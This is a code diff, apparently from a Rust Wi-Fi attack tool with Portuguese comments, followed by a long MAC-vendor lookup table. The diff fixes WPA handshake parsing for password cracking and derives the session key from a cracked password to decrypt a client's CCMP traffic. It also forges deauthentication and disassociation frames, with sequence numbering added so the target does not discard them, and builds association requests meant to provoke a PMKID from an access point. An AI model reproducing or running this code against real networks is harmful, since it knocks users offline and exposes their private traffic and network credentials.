+40 -7
View File
@@ -55,7 +55,14 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
if descriptor_type != 2 && descriptor_type != 254 {
return None;
}
let key_info = u16::from_le_bytes([frame[5], frame[6]]);
// Todo campo multi-byte do descritor EAPOL-Key (Key Information, Key
// Length, Replay Counter, Key Data Length) é big-endian — é 802.1X,
// segue a mesma ordem de rede do cabeçalho EAPOL em si. Ler como
// little-endian (bug anterior) embaralhava os bits de ack/mic/secure e
// fazia praticamente todo handshake real cair em message=0, descartado
// silenciosamente — só não aparecia nos testes porque o gerador de
// quadro sintético cometia o mesmo engano, simetricamente.
let key_info = u16::from_be_bytes([frame[5], frame[6]]);
let key_version = (key_info & 0x0007) as u8;
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
let ack = key_info & KEY_INFO_ACK != 0;
@@ -75,12 +82,12 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
0
};
let replay_counter = u64::from_le_bytes(frame[9..17].try_into().ok()?);
let replay_counter = u64::from_be_bytes(frame[9..17].try_into().ok()?);
let mut nonce = [0u8; 32];
nonce.copy_from_slice(&frame[17..49]);
let mut mic_bytes = [0u8; 16];
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
let key_data_len = u16::from_le_bytes([frame[97], frame[98]]) as usize;
let key_data_len = u16::from_be_bytes([frame[97], frame[98]]) as usize;
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
if data_end > frame.len() {
return None;
@@ -144,14 +151,14 @@ mod tests {
f[1] = EAPOL_TYPE_KEY;
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
f[4] = 2; // RSN descriptor
f[5..7].copy_from_slice(&key_info.to_le_bytes());
f[7..9].copy_from_slice(&16u16.to_le_bytes());
f[9..17].copy_from_slice(&1u64.to_le_bytes());
f[5..7].copy_from_slice(&key_info.to_be_bytes());
f[7..9].copy_from_slice(&16u16.to_be_bytes());
f[9..17].copy_from_slice(&1u64.to_be_bytes());
f[17..49].copy_from_slice(&nonce);
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
*b = i as u8;
}
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
f
}
@@ -176,6 +183,32 @@ mod tests {
}
}
/// Byte a byte, independente do helper `key_frame` (que usa a mesma
/// codificação do parser): confere que um quadro Mensagem 1 real — key
/// info 0x008a (Ack=1, versão CCMP=2, pairwise), big-endian como é no
/// fio de verdade — é lido como message=1/key_version=2, não message=0.
/// É exatamente o valor citado pela documentação de ferramentas de
/// quebra de WPA pra mensagem 1 com CCMP.
#[test]
fn parses_real_wire_message1_key_info_as_big_endian() {
let mut frame = vec![0u8; MIN_KEY_FRAME_LEN];
frame[0] = 2; // versão EAPOL
frame[1] = EAPOL_TYPE_KEY;
frame[2..4].copy_from_slice(&((MIN_KEY_FRAME_LEN - 4) as u16).to_be_bytes());
frame[4] = 2; // descritor RSN
frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, versão=2(CCMP), pairwise=1
frame[7..9].copy_from_slice(&16u16.to_be_bytes()); // key length
frame[9..17].copy_from_slice(&1u64.to_be_bytes()); // replay counter
frame[17..49].fill(0xaa); // nonce
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // sem key data
let parsed = parse(&frame).expect("mensagem 1 real deveria parsear");
assert_eq!(parsed.message, 1);
assert_eq!(parsed.key_version, 2);
assert!(parsed.pairwise);
assert_eq!(parsed.replay_counter, 1);
}
#[test]
fn extracts_pmkid_from_key_data() {
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
+34
View File
@@ -33,6 +33,12 @@ pub struct Handshake {
pub first_seen_unix: u64,
pub last_seen_unix: u64,
pub password: Option<String>,
/// Temporal Key (CCMP/AES) derivada quando `password` é preenchido.
/// Só pra TKIP (key_version 1) fica None: a decriptação aqui só cobre
/// CCMP. Serve pra enxergar o tráfego em claro desse par (BSSID,
/// estação) específico — não abre o tráfego de outros clientes, já que
/// a PTK é efêmera por associação.
pub tk: Option<[u8; 16]>,
}
#[derive(Debug, Clone, serde::Serialize)]
@@ -244,9 +250,17 @@ impl HandshakeTracker {
pub fn set_password(&mut self, bssid: &str, station: &str, password: &str) {
if let Some(hs) = self.get_mut(bssid, station) {
hs.password = Some(password.to_string());
hs.tk = derive_tk(hs, password);
}
}
/// TK já derivada pra esse par (BSSID, estação), se a senha da rede já
/// foi quebrada e o handshake tinha os dois nonces (EAPOL completo — um
/// handshake só de PMKID não dá pra derivar PTK/TK, só confirma a PSK).
pub fn tk_for(&self, bssid: &str, station: &str) -> Option<[u8; 16]> {
self.get(bssid, station).and_then(|hs| hs.tk)
}
pub fn len(&self) -> usize {
self.map.len()
}
@@ -256,6 +270,26 @@ impl HandshakeTracker {
}
}
/// Deriva a TK (bytes 32..48 da PTK) a partir da senha quebrada, pra poder
/// decifrar CCMP do tráfego desse cliente. Só funciona com EAPOL/CCMP
/// completo (key_version 2); PMKID sozinho não tem os dois nonces pra
/// derivar PTK, e TKIP (key_version 1) usa RC4 + Michael, não implementado.
fn derive_tk(hs: &Handshake, password: &str) -> Option<[u8; 16]> {
if hs.key_version != 2 {
return None;
}
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
let bssid = dot11::parse_mac(&hs.bssid)?;
let station = dot11::parse_mac(&hs.station)?;
let anonce = hs.anonce?;
let snonce = hs.snonce?;
let pmk = crate::crack::pmk_from_candidate(password, ssid.as_bytes())?;
let ptk = crate::crack::compute_ptk(&pmk, &bssid, &station, &anonce, &snonce);
let mut tk = [0u8; 16];
tk.copy_from_slice(&ptk[32..48]);
Some(tk)
}
fn apply_key(hs: &mut Handshake, key: &EapolKey) {
match key.message {
1 => {
+143 -1
View File
@@ -17,13 +17,26 @@ fn radiotap_min() -> [u8; 8] {
}
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
}
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
/// usado no teste bidirecional de PMF.
fn mgmt_frame_from(
subtype: u8,
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
let fc: u16 = (subtype as u16) << 4;
let mut f = Vec::with_capacity(8 + 24 + 2);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&fc.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&destination); // addr1: destino
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
f.extend_from_slice(&transmitter); // addr2: transmissor
f.extend_from_slice(&bssid); // addr3: BSSID
f.extend_from_slice(&[0u8; 2]); // número de sequência
f.extend_from_slice(&reason.to_le_bytes());
@@ -36,11 +49,129 @@ pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8
mgmt_frame(12, bssid, destination, reason)
}
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
pub fn deauth_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
mgmt_frame_from(12, transmitter, bssid, destination, reason)
}
/// Desassociação forjada com transmissor arbitrário (STA→AP).
pub fn disassoc_frame_from(
transmitter: [u8; 6],
bssid: [u8; 6],
destination: [u8; 6],
reason: u16,
) -> Vec<u8> {
mgmt_frame_from(10, transmitter, bssid, destination, reason)
}
/// Quadro de desassociação (subtipo 10).
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
mgmt_frame(10, bssid, destination, reason)
}
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
const SEQ_CTRL_OFFSET: usize = 30;
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
pub fn set_seq(frame: &mut [u8], seq: u16) {
if frame.len() < SEQ_CTRL_OFFSET + 2 {
return;
}
let field = (seq & 0x0fff) << 4;
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
}
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
let mut out = Vec::with_capacity(2 + value.len());
out.push(tag);
out.push(value.len() as u8);
out.extend_from_slice(value);
out
}
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
/// request no teste de PMKID.
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
let mut f = Vec::with_capacity(8 + 24 + 6);
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&0x00b0u16.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&bssid);
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
f.extend_from_slice(&0u16.to_le_bytes()); // status
f
}
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
let mut val = Vec::new();
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
val.extend_from_slice(&1u16.to_le_bytes());
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
for akm in akms {
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
}
let mut caps = 0u16;
if pmf {
caps |= 0x0080;
}
if pmf_required {
caps |= 0x0040;
}
val.extend_from_slice(&caps.to_le_bytes());
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
val.extend_from_slice(pmkid);
ie(48, &val)
}
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
pub fn assoc_request_frame(
bssid: [u8; 6],
station: [u8; 6],
ssid: &str,
akms: &[u8],
pmf: bool,
pmf_required: bool,
pmkid: [u8; 16],
) -> Vec<u8> {
let mut body = Vec::new();
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
body.extend_from_slice(&ie(0, ssid.as_bytes()));
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
if !akms.is_empty() {
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
}
let mut f = Vec::with_capacity(8 + 24 + body.len());
f.extend_from_slice(&radiotap_min());
f.extend_from_slice(&0x0000u16.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&bssid);
f.extend_from_slice(&station);
f.extend_from_slice(&bssid);
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&body);
f
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Reason {
Unspecified = 1,
@@ -160,4 +291,15 @@ mod tests {
assert_eq!(&f[12..18], &BROADCAST);
assert_eq!(f.len(), 8 + 24 + 2);
}
#[test]
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
let mut f = deauth_frame(bssid(), station(), 7);
set_seq(&mut f, 1);
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
assert_eq!(seq_ctrl, 1 << 4);
set_seq(&mut f, 0x0fff);
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
assert_eq!(seq_ctrl, 0x0fff << 4);
}
}
+919
View File
@@ -0,0 +1,919 @@
//! Identificação de fabricante pelo prefixo OUI do MAC.
const OUIS: &[(&str, &str)] = &[
("00000c", "Cisco"),
("000142", "Cisco"),
("000163", "Cisco"),
("000164", "Cisco"),
("00016c", "Cisco"),
("0001c7", "Cisco"),
("0001e6", "Cisco"),
("000216", "Cisco"),
("0002b9", "Cisco"),
("0002fc", "Cisco"),
("000331", "Cisco"),
("00036b", "Cisco"),
("0003e3", "Cisco"),
("0003fd", "Cisco"),
("000427", "Cisco"),
("00044d", "Cisco"),
("0004c0", "Cisco"),
("0004dd", "Cisco"),
("000531", "Cisco"),
("00055d", "D-Link"),
("000569", "VMware"),
("0005dc", "Cisco"),
("0005dd", "Cisco"),
("0006c1", "Cisco"),
("0007eb", "Cisco"),
("0007ec", "Cisco"),
("0009b7", "Cisco"),
("000a41", "Cisco"),
("000aeb", "TP-Link"),
("000b86", "Aruba"),
("000c29", "VMware"),
("000c42", "MikroTik"),
("000c6e", "Asus"),
("000d28", "Cisco"),
("000d88", "D-Link"),
("000e38", "Cisco"),
("000ea6", "Asus"),
("000f23", "Cisco"),
("000f3d", "D-Link"),
("000fb5", "Netgear"),
("0010a6", "Cisco"),
("001120", "Cisco"),
("00112f", "Asus"),
("001195", "D-Link"),
("001217", "Cisco"),
("0012fb", "Samsung"),
("001346", "D-Link"),
("001392", "Ruckus"),
("0013d4", "Asus"),
("00146c", "Netgear"),
("001478", "TP-Link"),
("00156d", "Ubiquiti"),
("001599", "Samsung"),
("0015e9", "D-Link"),
("0015f2", "Asus"),
("001632", "Samsung"),
("00170f", "Cisco"),
("001731", "Asus"),
("00179a", "D-Link"),
("00180a", "Meraki"),
("00184d", "Netgear"),
("001882", "Huawei"),
("0018f3", "Asus"),
("00195b", "D-Link"),
("001a11", "Google"),
("001a1e", "Aruba"),
("001a2b", "Cisco"),
("001a8a", "Samsung"),
("001a92", "Asus"),
("001b11", "Cisco"),
("001b2f", "Netgear"),
("001b63", "Apple"),
("001bfc", "Asus"),
("001c42", "Parallels"),
("001cf0", "D-Link"),
("001d0f", "TP-Link"),
("001d25", "Samsung"),
("001d60", "Asus"),
("001e10", "Huawei"),
("001e2a", "Netgear"),
("001e58", "D-Link"),
("001e7d", "Samsung"),
("001e8c", "Asus"),
("001ec2", "Apple"),
("001f6c", "Cisco"),
("001fc6", "Asus"),
("002119", "Samsung"),
("002127", "TP-Link"),
("0021e9", "Apple"),
("002215", "Asus"),
("00223f", "Netgear"),
("00227f", "Ruckus"),
("002290", "Cisco"),
("0022b0", "D-Link"),
("002312", "Apple"),
("002339", "Samsung"),
("002454", "Samsung"),
("002486", "Asus"),
("0024a3", "Apple"),
("0024b2", "Netgear"),
("0024dc", "Apple"),
("002500", "Apple"),
("002586", "TP-Link"),
("00259e", "Huawei"),
("0025c4", "Ruckus"),
("002618", "Asus"),
("002637", "Samsung"),
("0026bb", "Apple"),
("0026f2", "Netgear"),
("002719", "TP-Link"),
("002722", "Ubiquiti"),
("0027a0", "Apple"),
("003e51", "Apple"),
("003ee1", "Apple"),
("004096", "Apple"),
("005056", "VMware"),
("0050e4", "Apple"),
("0055e6", "Apple"),
("0056cd", "Apple"),
("040cce", "Apple"),
("041552", "Apple"),
("0452f3", "Apple"),
("045e3d", "Apple"),
("04a151", "Netgear"),
("04bd70", "Huawei"),
("04c06f", "TP-Link"),
("04d4c4", "Asus"),
("04d9f5", "Asus"),
("04db56", "Apple"),
("04e536", "Apple"),
("04f13e", "Apple"),
("04f7e4", "Apple"),
("04f938", "Huawei"),
("080027", "VirtualBox"),
("080028", "Apple"),
("0836c9", "Netgear"),
("08606e", "Asus"),
("086266", "Asus"),
("086361", "Huawei"),
("086d41", "Apple"),
("087045", "Apple"),
("08863b", "Apple"),
("08bd43", "Netgear"),
("0c3021", "Apple"),
("0c37dc", "Huawei"),
("0c3e9f", "Apple"),
("0c4de9", "Apple"),
("0c74c2", "Apple"),
("0c771a", "Apple"),
("0c8063", "TP-Link"),
("0c9d92", "Asus"),
("0cbc9f", "Apple"),
("0cbd51", "Ruckus"),
("100c6b", "Netgear"),
("1027f5", "TP-Link"),
("1040f3", "Apple"),
("104780", "Huawei"),
("10bd18", "Ruckus"),
("10bf48", "Asus"),
("10da43", "Netgear"),
("10feed", "TP-Link"),
("14109f", "Apple"),
("143004", "Huawei"),
("1449e0", "Samsung"),
("144d67", "Apple"),
("145a05", "Apple"),
("14cfe5", "Apple"),
("14d64d", "D-Link"),
("14dae9", "Asus"),
("14dda9", "Asus"),
("18a6f7", "TP-Link"),
("18af61", "Apple"),
("18c58a", "Huawei"),
("18fd74", "MikroTik"),
("1c151f", "Huawei"),
("1c3bf3", "TP-Link"),
("1c7ee5", "D-Link"),
("1c872c", "Asus"),
("1cbdb9", "D-Link"),
("1cfa68", "TP-Link"),
("200cc8", "Netgear"),
("204c03", "Aruba"),
("204e7f", "Netgear"),
("2078f0", "Apple"),
("209bcd", "Apple"),
("20c9d0", "Apple"),
("20dce6", "TP-Link"),
("20e52a", "Netgear"),
("20f3a3", "Huawei"),
("244bfe", "Asus"),
("246968", "TP-Link"),
("2469a5", "Huawei"),
("24a43c", "Ubiquiti"),
("24dec6", "Aruba"),
("282cb2", "TP-Link"),
("283ce4", "Huawei"),
("28c68e", "Netgear"),
("28ee52", "TP-Link"),
("2c3033", "Netgear"),
("2c3afd", "TP-Link"),
("2c4d54", "Asus"),
("2c55d3", "Huawei"),
("2c56dc", "Asus"),
("2c59e5", "Aruba"),
("2c5d93", "Ruckus"),
("2cab00", "D-Link"),
("2cb05d", "Netgear"),
("2cc81b", "MikroTik"),
("301966", "Samsung"),
("3035ad", "Apple"),
("30469a", "Netgear"),
("305a3a", "Asus"),
("30636b", "Apple"),
("308730", "Huawei"),
("3090ab", "Apple"),
("30b5c2", "TP-Link"),
("340804", "D-Link"),
("341298", "Apple"),
("3423ba", "Samsung"),
("3460f9", "TP-Link"),
("3497f6", "Asus"),
("34a395", "Apple"),
("34e894", "TP-Link"),
("38484c", "Apple"),
("388345", "TP-Link"),
("3894ed", "Netgear"),
("38aa3c", "Samsung"),
("38b8eb", "Apple"),
("38d547", "Asus"),
("3c0754", "Apple"),
("3c15c2", "Apple"),
("3c1e04", "D-Link"),
("3c3786", "Netgear"),
("3c46d8", "TP-Link"),
("3c5a37", "Samsung"),
("3c846a", "TP-Link"),
("3c970e", "Asus"),
("3ca067", "Ruckus"),
("3cab8e", "Apple"),
("40167e", "Asus"),
("40169f", "TP-Link"),
("403004", "Apple"),
("40331a", "Apple"),
("404d8e", "Huawei"),
("405d82", "Netgear"),
("406c8f", "Apple"),
("40984e", "Apple"),
("409bcd", "D-Link"),
("40a6d9", "Apple"),
("40b395", "Apple"),
("40e3d6", "Aruba"),
("440010", "Apple"),
("442a60", "Apple"),
("4448b9", "Aruba"),
("444c0c", "Apple"),
("444e1a", "Samsung"),
("446a2e", "Huawei"),
("4494fc", "TP-Link"),
("44a56e", "Netgear"),
("44d884", "Apple"),
("44d9e7", "Ubiquiti"),
("480eec", "TP-Link"),
("48437c", "Apple"),
("4846fb", "Huawei"),
("485a3d", "Samsung"),
("485b39", "Asus"),
("485d60", "D-Link"),
("4860bc", "Apple"),
("48746e", "Apple"),
("488f5a", "MikroTik"),
("48a195", "Apple"),
("48d705", "Apple"),
("4c1fcc", "Huawei"),
("4c3275", "Apple"),
("4c3c16", "Samsung"),
("4c3fa7", "Ruckus"),
("4c57ca", "Apple"),
("4c5e0c", "MikroTik"),
("4c60de", "Netgear"),
("4c7403", "Apple"),
("4c8d79", "Apple"),
("4c9eff", "D-Link"),
("4ce173", "TP-Link"),
("4cedfb", "Asus"),
("5001bb", "Samsung"),
("503eaa", "TP-Link"),
("506a03", "Netgear"),
("50c7bf", "TP-Link"),
("50ead6", "Apple"),
("5404a6", "Asus"),
("5425ea", "Huawei"),
("542696", "Apple"),
("546009", "Google"),
("54724f", "Apple"),
("5492be", "Samsung"),
("54b80a", "D-Link"),
("54c80f", "TP-Link"),
("581122", "Asus"),
("581f28", "Huawei"),
("581faa", "Apple"),
("583f54", "Samsung"),
("5855ca", "Apple"),
("586d8f", "Ruckus"),
("58b035", "Apple"),
("58d9d5", "TP-Link"),
("5c0a5b", "Samsung"),
("5c3275", "Asus"),
("5c4ca9", "Huawei"),
("5c5948", "Apple"),
("5c628b", "TP-Link"),
("5c899a", "TP-Link"),
("5c95ae", "Apple"),
("5c97f3", "Apple"),
("5cd998", "D-Link"),
("5cf938", "Apple"),
("600308", "Apple"),
("6032b1", "TP-Link"),
("60334b", "Apple"),
("6045cb", "Asus"),
("60634c", "D-Link"),
("606944", "Apple"),
("606bbd", "Samsung"),
("608c4a", "Apple"),
("609217", "Apple"),
("609ac1", "Apple"),
("60a4b7", "TP-Link"),
("60c547", "Apple"),
("60de44", "Huawei"),
("60f445", "Apple"),
("60facd", "Apple"),
("60fb42", "Apple"),
("643e8c", "Huawei"),
("645601", "TP-Link"),
("6466b3", "TP-Link"),
("647002", "TP-Link"),
("6476ba", "Apple"),
("649abe", "Apple"),
("64b0a6", "Apple"),
("64b853", "Samsung"),
("64b9e8", "Apple"),
("64d154", "MikroTik"),
("680927", "Apple"),
("68572d", "TP-Link"),
("68644b", "Apple"),
("687251", "Ubiquiti"),
("68967b", "Apple"),
("689c70", "Apple"),
("68a0f6", "Huawei"),
("68a86d", "Apple"),
("68ab1e", "Apple"),
("68ae20", "Apple"),
("68d93c", "Apple"),
("68dbca", "Apple"),
("68ebae", "Samsung"),
("68fb7e", "Apple"),
("6c198f", "D-Link"),
("6c19c0", "Apple"),
("6c3b6b", "MikroTik"),
("6c3e6d", "Apple"),
("6c4008", "Apple"),
("6c5ab0", "TP-Link"),
("6c709f", "Apple"),
("6c8dc1", "Apple"),
("6c92bf", "Huawei"),
("6c94f8", "Apple"),
("6caab3", "Ruckus"),
("6cab31", "Apple"),
("6cb0ce", "Netgear"),
("6cc7ec", "Apple"),
("6cf373", "Samsung"),
("6cf37f", "Aruba"),
("701124", "Apple"),
("7014a6", "Apple"),
("703a0e", "Aruba"),
("703eac", "Apple"),
("70480f", "Apple"),
("704d7b", "Asus"),
("704f57", "TP-Link"),
("7054f5", "Huawei"),
("705681", "Apple"),
("7073cb", "Apple"),
("7081eb", "Apple"),
("70f927", "Samsung"),
("741bb2", "Apple"),
("744401", "Netgear"),
("744d28", "Samsung"),
("7483c2", "Ubiquiti"),
("74882a", "Huawei"),
("748d08", "Apple"),
("74911a", "Ruckus"),
("74d02b", "Asus"),
("74da38", "TP-Link"),
("74da88", "TP-Link"),
("74e1b6", "Apple"),
("74e2f5", "Apple"),
("781fdb", "Samsung"),
("7824af", "Asus"),
("7831c1", "Apple"),
("783a84", "Apple"),
("784476", "TP-Link"),
("784558", "Ubiquiti"),
("784f43", "Apple"),
("786c1c", "Apple"),
("788a20", "Ubiquiti"),
("789a18", "MikroTik"),
("789f70", "Apple"),
("78a3e4", "Apple"),
("78ca39", "Apple"),
("78d294", "Netgear"),
("78d752", "Huawei"),
("78d75f", "Apple"),
("78fd94", "Apple"),
("7c0191", "Apple"),
("7c04d0", "Apple"),
("7c10c9", "Asus"),
("7c11be", "Apple"),
("7c6097", "Huawei"),
("7c6d62", "Apple"),
("7c6df8", "Apple"),
("7c8bca", "TP-Link"),
("7cc3a1", "Apple"),
("7cc537", "Apple"),
("7cd1c3", "Apple"),
("7cf05f", "Apple"),
("7cfadf", "Apple"),
("80006e", "Apple"),
("801f02", "Asus"),
("802aa8", "Ubiquiti"),
("803773", "Netgear"),
("804971", "Apple"),
("805719", "Samsung"),
("80929f", "Apple"),
("80be05", "Apple"),
("80e650", "Apple"),
("80ea07", "TP-Link"),
("80ea96", "Apple"),
("80fb06", "Huawei"),
("84119e", "Samsung"),
("8416f9", "TP-Link"),
("841888", "Ruckus"),
("841b5e", "Netgear"),
("8425db", "Samsung"),
("843835", "Apple"),
("843838", "Samsung"),
("84788b", "Apple"),
("848506", "Apple"),
("8489ad", "Apple"),
("848e0c", "Apple"),
("84a8e4", "Huawei"),
("84b153", "Apple"),
("84c9b2", "D-Link"),
("84d47e", "Aruba"),
("84f3eb", "Apple"),
("881544", "Meraki"),
("881908", "Apple"),
("881dfc", "Apple"),
("882593", "TP-Link"),
("8828b3", "Huawei"),
("88366c", "Samsung"),
("885395", "Apple"),
("8863df", "Apple"),
("8866a5", "Apple"),
("88c663", "Apple"),
("88cb87", "Apple"),
("88d7f6", "Asus"),
("88e87f", "Apple"),
("8c006d", "Apple"),
("8c210a", "TP-Link"),
("8c2937", "Apple"),
("8c2daa", "Apple"),
("8c34fd", "Huawei"),
("8c5877", "Apple"),
("8c7b9d", "Apple"),
("8c7c92", "Apple"),
("8c8590", "Apple"),
("8c89a5", "Asus"),
("8c8ef2", "Apple"),
("8cbebe", "D-Link"),
("8cfaba", "Apple"),
("9017ac", "Huawei"),
("9027e4", "Apple"),
("902b34", "Asus"),
("903c92", "Apple"),
("904ce5", "Aruba"),
("9060f1", "Apple"),
("907240", "Apple"),
("90840d", "Apple"),
("9094e4", "D-Link"),
("90b0ed", "Apple"),
("90b21f", "Apple"),
("90c1c6", "Apple"),
("90dd5d", "Apple"),
("90f652", "TP-Link"),
("90fd61", "Apple"),
("9401c2", "Samsung"),
("94049c", "Huawei"),
("940c6d", "TP-Link"),
("949426", "Apple"),
("94b34f", "Ruckus"),
("94b40f", "Aruba"),
("9801a7", "Apple"),
("98288e", "Apple"),
("9852b1", "Samsung"),
("985aeb", "Apple"),
("989e63", "Apple"),
("98b8e3", "Apple"),
("98d6bb", "Apple"),
("98dac4", "TP-Link"),
("98e0d9", "Apple"),
("98e7f5", "Huawei"),
("98f0ab", "Apple"),
("9c04eb", "Apple"),
("9c05d6", "Ubiquiti"),
("9c1c12", "Aruba"),
("9c207b", "Apple"),
("9c28ef", "Huawei"),
("9c35eb", "Apple"),
("9c3dcf", "Netgear"),
("9c4fda", "Apple"),
("9c5c8e", "Asus"),
("9c84bf", "Apple"),
("9ca2f4", "TP-Link"),
("9cd643", "D-Link"),
("9ce65e", "Apple"),
("9cf387", "Apple"),
("9cf48e", "Apple"),
("9cfc01", "Apple"),
("a00460", "Netgear"),
("a00bba", "Samsung"),
("a01d48", "Aruba"),
("a02195", "Samsung"),
("a040a0", "TP-Link"),
("a04c5b", "Ruckus"),
("a08cf8", "Huawei"),
("a0999b", "Apple"),
("a0ab1b", "D-Link"),
("a0d795", "Apple"),
("a0edcd", "Apple"),
("a0f3c1", "Asus"),
("a42b8c", "Netgear"),
("a42bb0", "TP-Link"),
("a45e60", "Apple"),
("a46706", "Apple"),
("a483e7", "Apple"),
("a49947", "Huawei"),
("a4b197", "Apple"),
("a4c361", "Apple"),
("a4d18c", "Apple"),
("a4d1d2", "Apple"),
("a4f1e8", "Apple"),
("a80600", "Samsung"),
("a82066", "Apple"),
("a851ab", "Apple"),
("a8574e", "TP-Link"),
("a85840", "Ruckus"),
("a85b78", "Apple"),
("a8667f", "Apple"),
("a88808", "Apple"),
("a88e24", "Apple"),
("a8968a", "Apple"),
("a8bbcf", "Apple"),
("a8bd27", "Aruba"),
("a8be27", "Apple"),
("a8c885", "Apple"),
("a8d0e5", "Apple"),
("a8e2c1", "Apple"),
("a8f5e1", "Apple"),
("ac220b", "Asus"),
("ac293a", "Apple"),
("ac3613", "Samsung"),
("ac3c0b", "Apple"),
("ac5a14", "Ruckus"),
("ac61ea", "Apple"),
("ac84c6", "TP-Link"),
("ac87a3", "Apple"),
("ac9e17", "Asus"),
("acbc32", "Apple"),
("accf5c", "Apple"),
("acd1b8", "Apple"),
("ace215", "Huawei"),
("ace4b5", "Apple"),
("acf1df", "Apple"),
("b03495", "Apple"),
("b03956", "Netgear"),
("b04e26", "TP-Link"),
("b05b67", "Huawei"),
("b065bd", "Apple"),
("b06ebf", "Asus"),
("b0702d", "Apple"),
("b072bf", "Samsung"),
("b07fb9", "Netgear"),
("b09fba", "Apple"),
("b0b98a", "Netgear"),
("b0be76", "TP-Link"),
("b0c554", "D-Link"),
("b0ca68", "Apple"),
("b0d09c", "Apple"),
("b0df3a", "Samsung"),
("b41513", "Huawei"),
("b418d1", "Apple"),
("b43a28", "Samsung"),
("b44bd2", "Apple"),
("b45d50", "Aruba"),
("b4750e", "Netgear"),
("b479a7", "Ruckus"),
("b48b19", "Apple"),
("b49cdf", "Apple"),
("b4ae2b", "Asus"),
("b4b024", "TP-Link"),
("b4f0ab", "Apple"),
("b4fbe4", "Ubiquiti"),
("b808d7", "Huawei"),
("b8098a", "Apple"),
("b817c2", "Apple"),
("b841a4", "Apple"),
("b844d9", "Apple"),
("b853ac", "Apple"),
("b85d0a", "Apple"),
("b85e7b", "Samsung"),
("b8634d", "Apple"),
("b8782e", "Apple"),
("b88d12", "Apple"),
("b89f09", "Apple"),
("b8a386", "D-Link"),
("b8aeed", "Asus"),
("b8c111", "Apple"),
("b8c75d", "Apple"),
("b8e856", "Apple"),
("b8f6b1", "Apple"),
("b8f883", "TP-Link"),
("b8ff61", "Apple"),
("bc1485", "Samsung"),
("bc20a4", "Samsung"),
("bc2228", "D-Link"),
("bc25e0", "Huawei"),
("bc3baf", "Apple"),
("bc4699", "TP-Link"),
("bc4cc4", "Apple"),
("bc52b7", "Apple"),
("bc5436", "Apple"),
("bc6778", "Apple"),
("bc6c21", "Apple"),
("bc8d0f", "Ruckus"),
("bc926b", "Apple"),
("bc9fe4", "Aruba"),
("bc9fef", "Apple"),
